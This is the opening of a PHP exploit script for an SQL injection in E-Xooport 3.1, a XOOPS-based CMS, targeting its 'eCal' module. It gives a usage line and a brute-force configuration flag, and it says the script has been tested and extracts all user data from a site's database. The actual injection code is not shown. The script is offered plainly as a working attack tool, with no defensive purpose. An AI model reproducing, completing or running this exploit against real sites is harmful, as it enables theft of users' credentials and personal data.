	E-Xooport 3.1 SQL Injection Exploit 01 (Mq on/off doesn't matter)
	bug details and explanation on http://vis-intelligendi.co.cc (search e-xooport)

	E-Xoops is a xoops-based cms. Many modules are bugged, in this case "eCal", no need of quoting code for this advisory.
	This script will first brute users' table name (if you want) and second will extract all users data from the db 
	(or only one user, if you specify the ID)	
	

usage php exopoort_exploit.php host path [uid]

!! TESTED !! WE DON'T SUBMIT EXPLOITS WITHOUT VERIFYING THEM


/* GENERAL CONFIGURATION */

$brute_table = FALSE; # IF THE EXPLOIT DOES not work first time, probably the reason is the table name, so set this to TRUE and the exploit will brute the table name if mysql version >= 5
					  # this may take some minutes..
